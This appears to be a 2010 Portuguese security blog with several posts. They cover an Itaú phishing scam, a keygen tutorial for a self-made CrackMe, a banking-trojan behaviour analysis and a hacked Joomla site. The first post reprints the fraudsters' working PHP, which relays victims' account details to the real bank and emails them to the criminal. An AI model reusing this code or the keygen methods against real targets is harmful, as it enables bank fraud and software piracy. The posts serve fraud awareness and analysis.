quarta-feira, 29 de dezembro de 2010

Man-In-The-Middle e outras técnicas em phishing brasileiro

2 comentários
Os criminosos cibernéticos brasileiros são muito criativos quando se trata de engenharia social. Primeiro foram os phishings que começaram a chegar nas caixas postais das vítimas com nome e CPF personalizados, agora eles estão criando novas técnicas que deixam o golpe ainda mais plausível.

O golpe em questão está sendo aplicado nos clientes do banco Itaú. As vítimas recebem um e-mail personalizado com seu nome dizendo ser do Itaú para atualização do dispositivo iToken.


No corpo do e-mail há um link, o nome da vítima, que após clicado redireciona para uma página falsa do banco.

O que diferencia esse phishing dos demais é a utilização de três técnicas que aumentam a credibilidade do golpe dificultando a identificação da fraude. Isso faz com que a vítima se sinta mais confortável em fornecer seus dados pessoais.

Vejamos em detalhes as três técnicas identificadas.

1) Ataque Man-In-The-Middle para validar número de agência e conta

A vítima digita um número de agência e conta bancária que não existe e o site exibe a mensagem que os dados realmente são inválidos. Ela então digita os dados verdadeiros e o site exibe uma nova página com o primeiro nome da vítima e diz para ela prosseguir com a operação somente se seu nome estiver correto.

Como é possível um site falso exibir o nome verdadeiro de um cliente do banco?

Isso é possível através do ataque Man-In-The-Middle (MITM), ou homem-no-meio. Esse tipo de ataque é executado quando um indivíduo se infiltra na comunicação entre duas partes, intercepta os dados, manipula e retransmite sem que nenhuma das partes perceba.

No ataque do banco Itaú funciona assim:


  1. Vítima acessa o site falso e fornece o número da agência e conta;
  2. Site falso retransmite os dados para o site verdadeiro do Itaú;
  3. Site verdadeiro verifica se os dados conferem e envia resposta para o site falso;
  4. Site falso envia os dados para o criminoso por e-mail;
  5. Site falso exibe mensagem personalizada de acordo com a resposta do site verdadeiro.
Isso tudo ocorre de forma transparente para as duas partes comunicantes, a vítima acha que está acessando o site verdadeiro do Itaú e o Itaú acha que a solicitação foi feita pela vítima.

Do ponto de vista técnico, o site falso utiliza a linguagem PHP e realiza esse ataque com as seguintes linhas de código:

<?
session_start();
$agencia = $_POST['idag1'];
$_SESSION['agencia'] = $agencia;
$conta = $_POST['idct1'];
$_SESSION['conta'] = $conta;
$dac = $_POST['iddg1'];
$_SESSION['dac'] = $dac;

$ch = curl_init();
curl_setopt ($ch, CURLOPT_URL,"https://bankline.itau.com.br/GRIPNET/bklcom.dll");
curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt ($ch, CURLOPT_USERAGENT, "Opera/9.99 (Windows NT 5.1; U; pl) Presto/9.9.9");
curl_setopt ($ch, CURLOPT_TIMEOUT, 60);
curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_COOKIEJAR, $gacookie);
curl_setopt ($ch, CURLOPT_COOKIEFILE, $gacookie);
curl_setopt ($ch, CURLOPT_REFERER, "https://bankline.itau.com.br/lgnet/itauf/bankline.htm");
$postdata = "id=U2TH1000000&op=A79BF5A95F48CA722097ABE53F049FC79605FA794E31FE3229163FE198AA7AB9&agencia=" . $agencia . "&conta=" . $conta . "&dac=" . $dac . "&tipousuario=X&origem=H&formulario=0&trnini=&varest=&pop=&Target=∏=&tira=1000000&Reso=1280x800%40%26cookie%3D&Engine=3&Flag=N&idSessA=&generico=&x=13&y=11";
curl_setopt ($ch, CURLOPT_POSTFIELDS, $postdata);
curl_setopt ($ch, CURLOPT_POST, 1);
$result = curl_exec ($ch);
curl_close($ch);

$resulta = explode('class="MSGTexto8">',$result);
$resulta1 = $resulta[1];
$resulta2 = explode('</a>',$resulta1);
if ($resulta2[0] == ""){
   $resulta = explode('class="MSGNome">',$result);
   $resulta1 = $resulta[1];
   $resulta2 = explode('</a>',$resulta1);
}

if ($resulta2[0] == ""){
   $resulta = explode('class="MSGTituloEsq2">  ',$result);
   $resulta1 = $resulta[1];
   $resulta2 = explode('</span>',$resulta1);
}

$ip = $_SERVER["REMOTE_ADDR"];
if ($resulta2[0] == ""){
   echo"<script type='text/javascript'>";
   echo "alert('Agencia e conta invalida. Verifique se o numero digitado esta correto.');";
   echo "</script>";
   echo "<meta HTTP-EQUIV='refresh' CONTENT='0;URL=index.php'>";
}

$headers = "MIME-Version: 1.1\n";
$headers .= "Content-type: text/html; charset=iso-8859-1\n";
$headers .= "From: " . $resulta2[0] . "@abriu.com.br\n"; // remetente
$headers .= "Return-Path: " . $resulta2[0] . "@abriu.com.br\n"; // return-path

mail("fulano@gmail.com", "[" . $ip . "] - " . $resulta2[0] . " Abriu", $os . ' ' . $browser . "<br>" . $resulta2[0] . "<br>" . $agencia . "<br>" . $conta . "-" . $dac . "<br>", $headers);

$_SESSION['nome'] = $resulta2[0]; 
?>

Primeiro os dados digitados são salvos em variáveis de Sessão, depois é utilizada a libcurl no PHP para se comunicar com o site verdadeiro do banco Itaú, a resposta é exibida de acordo com os dados fornecidos pelo site. Por fim é enviado um e-mail para o criminoso com as informações capturadas.

2) Descarte da primeira senha

Quem nunca ouviu essa dica básica de segurança para acessar Internet Banking:

“Ao digitar a senha primeiro informe uma senha falsa, se aparecer mensagem de erro o site é verdadeiro mas se ele aceitar é golpe”.

Pois bem, nesse caso do Itaú para qualquer primeira senha informada será exibida  uma mensagem de erro pedindo para a pessoa digitar novamente, já na segunda tentativa a mesma senha é aceita.


3) Tempo de espera para utilizar código do iToken

O iToken é um dispositivo utilizado pelo banco Itaú para aumentar a segurança das transações pela Internet. Ao utilizar os serviços do banco pela Internet é solicitado um código de seis dígitos que é fornecido pelo iToken, esse código é renovado após X segundos invalidando o código anterior.

Nesse phishing o site solicita o número do iToken e a senha do cartão,  em seguida já envia os dados por e-mail para o criminoso. Enquanto isso é exibida uma barra que vai carregando aos poucos e faz com que a vítima fique esperando por 1 minuto.


Esse processo se repete por três vezes. Tudo isso para que o criminoso que está atento aos e-mails que chegam em sua caixa postal tenha tempo hábil para utilizar o número do iToken antes que seja invalidado.

Veja o vídeo do phishing em ação.


Os phishings bancários estão ficando cada vez mais convincentes no Brasil. Mecanismos de segurança que antes eram válidos estão ser tornando obsoletos, a tendência é que esse tipo de golpe se torne cada vez mais difícil de ser detectado.

Leia mais sobre fraudes bancárias pela Internet no menu Fraudes Bancárias.

Ronaldo Lima
crimesciberneticos.com | twitter.com/crimescibernet

domingo, 26 de dezembro de 2010

Cracking de programas, como funciona um KeyGen?

12 comentários
Introdução

Esse artigo é continuação do “Pirataria: Cracking de programas, como funciona?”, caso ainda não tenha lido sugiro que leia antes de prosseguir.

No artigo anterior eu criei um programa CrackMe para ser crackeado e expliquei como poderia ser feito um crack do tipo Patching, onde apenas burlamos a função de validação do serial.

No final do artigo eu havia proposto um desafio, criar um KeyGen para o CrackMe ou fornecer pelo menos um nome e serial válido.

KeyGen (Key Generator) como o próprio nome já diz, é um gerador de chaves ou seriais para registrar programas de forma ilegal. Para qualquer nome digitado ele gera um serial válido que quando inserido no programa oficial é aceito como se tivesse sido obtido pelos meios legais.

Um pouco de lógica

Entender a lógica por trás da validação do Nome e Serial do CrackMe ajudará quando estivermos lidando com os códigos.

Vimos que antes das mensagens de Erro ou Sucesso o programa chama uma função denominada “compare” que na verdade é o Offset 00401A08.

004019CF CALL CrackMe.00401A08

E baseado no retorno dela exibe a mensagem adequada.

Com isso podemos imaginar que a função que se inicia no Offset 00401A08 deve ser a responsável por validar os dados digitados. Sem ainda entrarmos nos códigos podemos imaginar também algumas operações que a função de validação deve executar.

Primeiro ela deve obter os valores que foram digitados nos dois campos. Depois, se cada Nome possui um Serial diferente, ela deve deve pegar o que foi digitado no campo Nome, fazer uma série de operações que não sabemos quais são, pegar o resultado e compará-lo com o que foi digitado no campo Serial. Caso os dois sejam iguais o Serial digitado é válido.

Um algoritmo simplificado para isso seria assim:

Leia NomeDigitado;
Leia SerialDigitado:
Resultado = OperaçõesCom(NomeDigitado);
Se (Resultado == SerialDigitado)
Serial Válido;
Senão
Seria Inválido;

De um modo geral muitos programas fazem a validação dessa forma. O “X” da questão, ou a proteção do programa, está na dificuldade de descobrir quais operações são realizadas, podem ser muitos cálculos, recursividade, combinações, atribuições, etc.

Dependendo do grau de complexidade dessas operações o algoritmo parece funcionar muito bem. Pense então na depuração desse algoritmo, onde vamos executando linha a linha com a ajuda de um Debugger e vendo os resultados. Conseguiu enxergar uma falha aí? Que valor seria exibido na variável Resultado?

A variável Resultado seria na verdade um Serial válido para o Nome digitado. Mesmo digitando um Serial qualquer o programa geraria uma Serial válido para comparar com o que digitamos. E através da execução linha a linha do algoritmo seríamos capazes de visualizá-lo.

O processo de obter um Serial válido através da execução do programa em um Debugger é conhecido como “pescar serial” ou “serial fishing”.

Pescar o Serial no CrackMe

Um dos desafios do artigo anterior era conseguir pelo menos um Nome e Serial válido para o CrackMe. Isso é possível através do debug do programa no OllyDbg.

Abre o CrackMe no OllyDbg, coloque um Breakpoint (BP) no Offset 00401A08 clicando uma vez na linha e pressionando F2. Agora pressione F9 (Run) para iniciar o debug. Com isso o CrackMe irá executar e quando chegar na linha que colocamos o BP irá parar e permitir que executemos linha a linha.

Insira um Nome e Serial qualquer e clique em Registrar, eu inseri “crimes ciberneticos” e “1234”. O debug irá parar no nosso BP.


Agora vá pressionando F8 e acompanhando a execução, lembre da lógica explicada anteriormente. Quando chegar no Offset 00401A71 você vai ver (ASCII “nomedigitado”), nessa linha está lendo o Nome que digitamos e armazenando em algum lugar. O mesmo acontece com o Serial no endereço 00401A7C.

Seguindo pressionando F8 vemos que a execução entra em um loop, pode ser as operações que falamos anteriormente. Continue no F8 até sair do loop.

Quando chega no Offset 00401ACF é exibido um número, no meu caso (ASCII “28065600”). Eis aí o que estávamos procurando, o Serial.


Para confirmar se realmente é válido, executamos o CrackMe, inserimos os dados obtidos e vemos o resultado.


KeyGen

O mecanismo por trás de um keygen é o mesmo utilizado pelo programa original. Acabamos de ver que o próprio programa gera um Serial válido para um Nome que foi digitado. Então a função que faz isso está dentro do programa, precisamos localizá-la e copiá-la para o nosso keygen.

Copiar como? Existem algumas formas de fazer isso. Uma forma é tentar entender o Assembly linha a linha e depois reescrever o código com a linguagem de programação predileta.

Outra forma é copiar o Assembly do jeito que está e colar dentro de nosso programa (Assembly Inline) com pequenas adaptações, isso nos poupa de tentar entender o que o código faz. Essa técnica é chamada de Ripping. Vejamos as duas.

Reescrevendo o Código

Essa solução foi fornecida pelo Gustavo, ele leu o artigo anterior e deixou um comentário com uma solução de keygen em Python. O código dele funciona perfeitamente, conseguiu entender o códigos em Assembly e em poucas linhas rescreveu toda a lógica em Python.

O código dele é esse:
import sys
acumula=0
c=0
while c<len(sys.argv[1]):
 acumula=acumula+ord(sys.argv[1][c])
 c=c+1
print (acumula*0x78)*0x78

No Python não é preciso compilar, é necessário apenas ter o interpretador instalado no computador, existem versões para Linux e Windows, mais informações no site oficial do projeto python.org.

Copie o código, salve em um arquivo com o nome de keygen.py por exemplo e depois execute a linha de comando:

python keygen.py nomedesejado

Como podemos ver abaixo, para o nome “crimes ciberneticos” gerou o mesmo Serial que pescamos anteriormente.

Assembly Inline - Ripping

Na técnica de Ripping precisamos localizar no Assembly do programa apenas as linhas relativas à geração do Serial. Depois copiamos o trecho e colamos em um programa que aceite códigos Assembly Inline. Nesse caso utilizarei a linguagem C.

Na instrução:

00401A71 MOV DWORD PTR SS:[EBP-30],EAX

Vimos que o Nome que digitamos é atribuído a um endereço na Pilha (Stack) que é o EBP-30. Então sabemos que todas as linhas que fizerem referência ao EBP-30 estará lidando com o Nome que digitamos.

No Offset 00401A7C também é lido o Serial que digitamos e atribuído a um endereço na Pilha, esse valor não tem utilidade para nosso keygen, o que importa para nós são as linhas após esse Offset.

O código que se segue é esse:

00401A7F | XOR EDX,EDX
00401A81 | MOV DWORD PTR SS:[EBP-38],EDX
00401A84 | XOR ECX,ECX
00401A86 | MOV DWORD PTR SS:[EBP-3C],ECX
00401A89 | JMP SHORT CrackMe.00401A9B

00401A8B | MOV EAX,DWORD PTR SS:[EBP-30]
00401A8E | MOV EDX,DWORD PTR SS:[EBP-3C]
00401A91 | MOVSX ECX,BYTE PTR DS:[EAX+EDX]
00401A95 | ADD DWORD PTR SS:[EBP-38],ECX
00401A98 | INC DWORD PTR SS:[EBP-3C]
00401A9B | MOV EAX,DWORD PTR SS:[EBP-30]
00401A9E | MOV EDX,DWORD PTR SS:[EBP-3C]
00401AA1 | CMP BYTE PTR DS:[EAX+EDX],0
00401AA5 | JNZ SHORT CrackMe.00401A8B

00401AA7 | IMUL ECX,DWORD PTR SS:[EBP-38],78
00401AAB | MOV DWORD PTR SS:[EBP-38],ECX
00401AAE | IMUL EAX,DWORD PTR SS:[EBP-38],78
00401AB2 | MOV DWORD PTR SS:[EBP-38],EAX

A vantagem do Ripping é que não precisamos entender o que todas essas linhas fazem para criarmos nosso keygen, basta copiarmos e fazermos algumas adaptações.

Além do endereço da Pilha EBP-30 que já sabemos se tratar do Nome digitado, vemos também no código os endereços EBP-38 e EBP-3C. No início do código vemos que os registradores EDX e ECX são zerados através do XOR e depois atribuídos a esses dois endereços da Pilha.

Isso quer dizer que possívelmente são duas variáveis que são zeradas no início da função. Sendo assim no nosso código Assembly Inline vamos substituir:

EBP-30 pela variável “Nome”.
EBP-38 pela variável “var38”.
EBP-3C pela variável “var3C”.

Essas são as primeiras adaptações que faremos no código.

No programa em C não teremos endereços de Offset, retiramos todos, mas isso causa problema com os Jumps no Assembly que usam os Offsets para desviar a execução do código. Para resolvermos isso inserimos rótulos nos locais originais onde o programa “pula” com o Jumps. A compreensão disso ficará mais clara logo abaixo quando eu aprensentar o código final.

Um último detalhe é que o C só entende valores hexadecimais com a máscara 0x999, então no código Assembly onde está o valor 78 substituiremos por 0x78.

Agora colocando em prática tudo o que foi dito, nosso keygen em C com código Assembly Inline ficará assim:
int gerarSerial(char* nome)
{
        int var3c;
        int var38;
        int serial = 0;
        asm
        {
                XOR EDX,EDX
                MOV DWORD PTR SS:[var38],EDX
                XOR ECX,ECX
                MOV DWORD PTR SS:[var3c],ECX
                JMP SHORT Jump1
        Loop1:
                MOV EAX,DWORD PTR SS:[nome]
                MOV EDX,DWORD PTR SS:[var3c]
                MOVSX ECX,BYTE PTR DS:[EAX+EDX]
                ADD DWORD PTR SS:[var38],ECX
                INC DWORD PTR SS:[var3c]
        Jump1:
                MOV EAX,DWORD PTR SS:[nome]
                MOV EDX,DWORD PTR SS:[var3c]
                CMP BYTE PTR DS:[EAX+EDX],0
                JNZ SHORT Loop1
                IMUL ECX,DWORD PTR SS:[var38],0x78
                MOV DWORD PTR SS:[var38],ECX
                IMUL EAX,DWORD PTR SS:[var38],0x78
                MOV DWORD PTR SS:[serial],EAX
        }
        return serial;
}

int main(int argc, char* argv[])
{
        printf("KeyGen CrackMe - crimesciberneticos.com\n\n");
        if(argc>1){
                printf("Nome: %s\n", argv[1]);
                printf("Serial: %u\n", gerarSerial(argv[1]));
        }
        else{
                printf("Use: keygen.exe <Nome>\n");
        }
        return 0;
}

Esse código foi compilado com êxito no Borland C++ Builder. Creio que também funcionará nos compiladores da Microsoft e em outros que utilizam o Assembly na sintaxe Intel.

Infelizmente o GCC e seus derivados como o Bloodshed Dev-C++ utilizam a sintaxe AT&T, então nesses compiladores o código não funcionará, seria necessário convertê-lo para a sintaxe AT&T. Um exemplo de como isso pode ser feito pode ser encontrado aqui: GCC-Inline-Assembly-HOWTO.

Como podemos ver o código Assembly é tratado dentro do C como se fosse uma função normal, inclusive pode-se combinar as variáveis das duas linguagens.

O keygen já compilado pode ser baixado aqui. Para utilizá-lo execute a linha de comando:

keygen.exe nomedesejado

Conclusão

Vimos nesse artigo mais uma técnica de cracking. Muitos mais do que aprender a crackear um programa esses conhecimentos podem ser úteis para protegê-lo. Ainda, o conhecimento de Assembly e engenharia reversa pode ser aproveitado em muitas áreas da segurança da informação.

Não são todos os softwares que possuem essa lógica de validação de Serial, mas muitos utilizam algo parecido.

O código original da função “compare” em C++ é esse:
bool TForm1::compare(){
   String edit = Edit1->Text;
   String edit2= Edit2->Text;
   char* n = edit.c_str();
   char* n2= edit2.c_str();

   int s = 0;
   for(int i=0;n[i]!=0;i++){
        s+=n[i];
   }
   s = s * 5 * 4 * 3 * 2;
   s = s * 5 * 4 * 3 * 2;

   char saida[100];
   sprintf(saida, "%d", s);
   if(strcmp(saida,n2)==0)
        return true;
   else
        return false;
}

Dúvidas, sugestões? Deixe um comentário. :)

Ronaldo Lima
crimesciberneticos.com | twitter.com/crimescibernet

quarta-feira, 15 de dezembro de 2010

Análise do Malware Real-SecureWeb.exe Parte 1

5 comentários
Essa fraude tinha o objetivo de atingir os clientes do Banco Real Santander que utilizam o serviço de Internet Banking.

No dia 07/11/2010 recebi uma mensagem de spam phishing que continha os campos “De: atendimento@mail.real.com” e “Assunto: Atualização de Segurança Banco Real Santander.”.

Havia um link na mensagem que apontava para a URL:

http://www.danseavecnousbordeaux.com/includes/gal_079/medium/RealWebSecure/SecureWebReal.php?codcliente=72429


Ao clicar no link foi solicitado o download do arquivo:

Nome: Real-SecureWeb.exe (Trojan-Banker.Win32.Banker2.aew)
MD5: 2f0ece4c716a7be1d41d1b9803b27b05

O primeiro passo da análise foi identificar se o executável possuía algum tipo de compactador, isso pode ser feito utilizando o Exeinfo PE.


Como podemos ver, o arquivo Real-SecureWeb.exe foi compactado com o WinZip Sfx (Self-extracting). O módulo Sfx do WinZip permite descompactar arquivos automaticamente sem a necessidade de outros programas, o próprio executável carrega o módulo de descompactação.

Sendo assim possivelmente quando executado o Real-SecureWeb.exe deve descompactar outro(s) arquivo(s).

Para monitorar a execução do malware no sistema operacional, utilizei a ferramenta Process Monitor da Microsoft, anteriormente na Sysinternals.

Process Monitor é uma ferramenta de monitoramento para Windows que mostra em tempo real atividades de sistema, arquivos, registro, processos e threads. Com ela é possível criar filtros para exibir apenas determinados processos e obter muitas informações do que está acontecendo no ambiente.

Executei o Process Monitor, ativei a captura de todos os processos e executei o Real-SecureWeb.exe para descobrir suas interações com o sistema operacional.

O malware entrou em execução e apresentou três janelas:





Podemos ver que esse malware pretende capturar todas as informações possíveis das vítimas, até o Nome do Pai, Profissão e Empresa Atual.

Digitei informações fictícias em todas as telas e fui até o final, quando cliquei em “Confirmar” o malware exibiu uma mensagem de verificação dos dados e desapareceu.

Agora era hora de verificar os logs do Process Monitor para descobrir quais atividades ele executou no sistema operacional.

Foram gerados 1739 eventos relativos ao malware, o log com todos pode ser baixado aqui.

Analisarei apenas os principais eventos para entendermos o funcionamento do malware.

Conforme a imagem abaixo, vemos na janela do Process Monitor várias colunas:

Time of Day, Process Name, PID, Operation, Path, Result, Detail


Para facilitar a leitura listarei somente as colunas: Time of Day, Process Name e Operation. Path, Result e Detail serão exibidas quando necessárias.

Então vamos começar!

03:08:27,7929130,"Real-SecureWeb.exe","Process Start"
03:08:27,7929161,"Real-SecureWeb.exe","Thread Create"
O processo é criado com o nome Real-SecureWeb.exe

03:08:27,8509919,"Real-SecureWeb.exe","Load Image","C:\...\system32\kernel32.dll"
03:08:27,8523351,"Real-SecureWeb.exe","Load Image","C:\...\system32\advapi32.dll" 03:08:27,8525857,"Real-SecureWeb.exe","Load Image","C:\...\system32\rpcrt4.dll" 03:08:27,8528159,"Real-SecureWeb.exe","Load Image","C:\...\system32\secur32.dll"
03:08:27,8532408,"Real-SecureWeb.exe","Load Image","C:\..\system32\gdi32.dll"
03:08:27,8534743,"Real-SecureWeb.exe","Load Image","C:\...\system32\user32.dll"
03:08:27,8537814,"Real-SecureWeb.exe","Load Image","C:\...\system32\msvcrt.dll"
O malware carrega algumas DLLs que irá utilizar, são os Imports.

03:08:27,8822381,"Real-SecureWeb.exe","CreateFile",
"C:\Documents and Settings\user\Configurações locais\Temp\IXP000.TMP",
"NAME NOT FOUND","Desired Access: Read Attributes, Delete, Synchronize, Disposition: Open, Options: Directory, Synchronous IO Non-Alert, Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a"
Apesar do nome dessa operação ser Create File, pelos detalhes vemos que a função desejada era de Abrir esse diretório. Como resposta o comando retornou que não foi encontrado.

03:08:27,8825808,"Real-SecureWeb.exe","CreateFile",
"C:\Documents and Settings\user\Configurações locais\Temp\IXP000.TMP",
"SUCCESS","Desired Access: Read Data/List Directory, Synchronize, Disposition: Create, Options: Directory, Synchronous IO Non-Alert, Attributes: N, ShareMode: Read, Write, AllocationSize: 0, OpenResult: Created"
Como não foi encontrado esse diretório anteriormente, dessa vez ele criou com sucesso.

03:08:27,9536312,"Real-SecureWeb.exe","ReadFile",
"C:\Documents and Settings\user\...\Real-SecureWeb.exe",
"SUCCESS","Offset: 83.456, Length: 16.384, I/O Flags: Non-cached, Paging I/O, Synchronous Paging I/O"
Lê um determinado Offset do próprio arquivo Real-SecureWeb.exe

03:08:27,9544827,"Real-SecureWeb.exe","QueryOpen",
"C:\Documents and Settings\user\Configurações locais\Temp\IXP000.TMP\Real.exe",
"NAME NOT FOUND",""
Tenta abrir o arquivo Real.exe dentro do diretório criado anteriormente mas recebe mensagem que o arquivo não existe.

03:08:27,9547230,"Real-SecureWeb.exe","CreateFile",
"C:\Documents and Settings\user\Configurações locais\Temp\IXP000.TMP\Real.exe",
"SUCCESS","Desired Access: Generic Write, Read Attributes, Disposition: OverwriteIf, Options: Synchronous IO Non-Alert, Non-Directory File, Attributes: N, ShareMode: None, AllocationSize: 0, OpenResult: Created"
Cria o arquivo Real.exe com a opções de sobrescrever caso já exista.

03:08:27,9553554,"Real-SecureWeb.exe","ReadFile","C:\Doc...\Real-SecureWeb.exe"
03:08:27,9572141,"Real-SecureWeb.exe","WriteFile","C:\...\Temp\IXP000.TMP\Real.exe"
Esse tipo de evento ocorre várias vezes no log, lê o arquivo Real-SecureWeb.exe e escreve no Real.exe. O que podemos entender por isso? É o processo de descompactação do Winzip Sfx, está gerando outro arquivo a partir do arquivo original.

03:08:27,9863432,"Real-SecureWeb.exe","ReadFile","C:\Doc...\Real-SecureWeb.exe"
03:08:27,9873914,"Real-SecureWeb.exe","WriteFile","C:\...\Temp\IXP000.TMP\Reals.exe"
Está realizando o mesmo procedimento anterior, só que agora está criando um outro arquivo, o Reals.exe. Esse é o segundo arquivo que estava compactado no arquivo original.

03:08:28,1146036,"Real-SecureWeb.exe","Process Create","C:\.\IXP000.TMP\Real.exe" 03:08:28,1146070,"Real.exe","Process Start","","SUCCESS","Parent PID: 3204" 03:08:28,1146095,"Real.exe","Thread Create","","SUCCESS","Thread ID: 3212"
Aqui o processo original inicia um novo processo executando o arquivo Real.exe, o primeiro que foi descompactado, e então o Real.exe entra em ação exibindo a primeira janela do malware que já vimos anteriormente. Até aqui vemos que pela coluna de Time foi gasto menos de 1 segundo para realizar todas essas tarefas.

03:10:45,1509465,"Real.exe","CreateFile","C:\indentificando.txt"
03:10:45,1523162,"Real.exe","WriteFile","C:\indentificando.txt" 03:10:45,1529191,"Real.exe","CloseFile","C:\indentificando.txt"
O processo Real.exe cria o arquivo identificando.txt em C:\

03:10:51,6317191,"Real.exe","Thread Exit"
03:10:51,6328494,"Real.exe","Process Exit"
Novamente pela coluna de Time dessa vez vemos que o processo se encerrou cerca de 2 minutos e 23 segundos após ser criado. Esse foi o tempo gasto para digitar as informações nas três telas do malware.

03:10:51,6474898,"Real-SecureWeb.exe","Process Create","C:\.\IXP000.TMP\Reals.exe" 03:10:51,6474931,"Reals.exe","Process Start"
03:10:51,6474956,"Reals.exe","Thread Create"
O Real-SecureWeb.exe reassume o controle e dessa vez executa o segundo arquivo descompactado Reals.exe.

03:10:51,7250893,"Reals.exe","ReadFile","C:\indentificando.txt"
03:10:51,7263682,"Reals.exe","CloseFile","C:\indentificando.txt"
O Reals.exe lê o arquivo identificando.txt que foi anteriormente criado pelo Real.exe.

03:10:51,7282791,"Reals.exe","Load Image","C:\WINDOWS\system32\mswsock.dll"
03:10:51,7337214,"Reals.exe","Load Image","C:\WINDOWS\system32\wshtcpip.dll"
03:10:51,7371456,"Reals.exe","Load Image","C:\WINDOWS\system32\dnsapi.dll"
São carregas várias DLLs referentes à funções de rede.

03:10:51,7551440,"Reals.exe","SetDispositionInformationFile","C:\indentificando.txt",
"SUCCESS","Delete: True"
O arquivo identificando.txt é apagado.

03:10:51,7663873,"Reals.exe","4016","Thread Exit"
03:10:51,7667714,"Reals.exe","4016","Process Exit"
O processo Reals.exe é finalizado.

03:10:51,7780824,"Real-SecureWeb.exe","SetDispositionInformationFile",
"C:\...\Temp\IXP000.TMP\Real.exe","SUCCESS","Delete: True"
Novamente o processo Real-SecureWeb.exe está no comando e apaga o arquivo Real.exe.

03:10:51,7933921,"Real-SecureWeb.exe","CreateFile","C:\...\Temp\IXP000.TMP\Reals.exe",
"SHARING VIOLATION","Desired Access: Read Attributes, Delete, Disposition: Open, Options: Non-Directory File, Open Reparse Point, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a"
Nesse evento dá erro quando malware tenta apagar o arquivo Reals.exe.

03:10:51,7979427,"Real-SecureWeb.exe","SetDispositionInformationFile",
"C:\...\Temp\IXP000.TMP","NOT EMPTY","Delete: True"
Aqui também dá erro quando tenta apagar o diretório IXP000.TMP pois não estava vazio já que não conseguiu apagar o Reals.exe anteriormente.

03:10:51,8033920,"Real-SecureWeb.exe","Thread Exit"
03:10:51,8037046,"Real-SecureWeb.exe","Process Exit"
O processo principal Real-SecureWeb.exe é finalizado.

Através do Process Monitor conseguimos obter muitas informações importantes. Basicamente ao ser executado o malware descompacta dois arquivos, o primeiro, Real.exe, é responsável por coletar as informações que o usuário digita em suas telas e possivelmente salvar em um arquivo TXT e o segundo, Reals.exe, possivelmente deve enviar o TXT pela Internet.

Após realizar todas essas funções o malware tenta limpar seus rastros apagando os arquivos envolvidos na fraude, mas como vimos existem algumas falhas.

Em uma segunda execução do malware, antes que fossem apagados capturei os três arquivos criados: Real.exe, Reals.exe e identificando.txt.

A análise do conteúdo deles estará na segunda parte do artigo, aguardem.

Leia a Parte 2 do artigo aqui.

Ronaldo Lima
crimesciberneticos.com | twitter.com/crimescibernet

terça-feira, 7 de dezembro de 2010

Vídeo: Site Invadido e Utilizado por Crackers

5 comentários
Esse vídeo fiz a partir de um e-mail que o leitor Luiz Carlos me encaminhou para análise. Tratava-se de um phishing scam tentando se passar pelo banco Itaú.

Ao clicar no link do e-mail fui direcionado para um site da Finlândia (www.nettiartteli.fi) para baixar um malware banker chamado ItauBankline.exe.

Dessa vez ao invés de fazer a engenharia reversa do executável fiz uma análise do site utilizado para hospedar o malware.

Qual vulnerabilidade o fraudador explorou para invadir o site? Quais os arquivos ele copiou? O site era utilizado só para aplicar esse golpe? Qual o impacto que essa invasão pode causar no servidor do site?

O vídeo responde todas essas perguntas. Para melhor entendimento, listo abaixo alguns pontos interessantes que surgem durante o vídeo:

- O site foi feito com o gerenciador de conteúdo Joomla!, com muita frequência esses sites são invadidos, principalmente pelo pouco cuidado dos administradores com a senha do admin. O acesso do admin no Joomla! por padrão é feito em: www.site.com/administrator/.

- Após conseguir invadir o site, os fraudadores fazem upload de uma shell geralmente em PHP para manipular os arquivos do mesmo. Nesse caso utilizaram a shell “N3tShell v. Emp3ror Undetectable #18”. Através dela é possível criar, editar, apagar, visualizar, fazer download, upload, etc.

- O site era (ou ainda é) utilizado para aplicar golpes utilizando o nome do Adobe Flash Player, do Banco Itaú, enviar SPAM e ainda possuía scripts para tentar descobrir por força bruta usuários e senhas de e-mails.

- Por fim, ao verificar até onde possuia permissão para navegar nas pastas do servidor invadido, foi possível constatar que havia vários outros domínios hospedados no mesmo servidor, ou seja, o invasor poderia alterar também qualquer um daqueles domínios. Isso mostra que a vulnerabilidade de um site comprometeu a segurança de dezenas de outros hospedados no mesmo local.

Assista abaixo ou para melhor visualização faça download clicando aqui (20,5 MB).


Dúvidas? Comentários? Deixe seu recado.

Ronaldo Lima
crimesciberneticos.com | twitter.com/crimescibernet
Related Posts Plugin for WordPress, Blogger...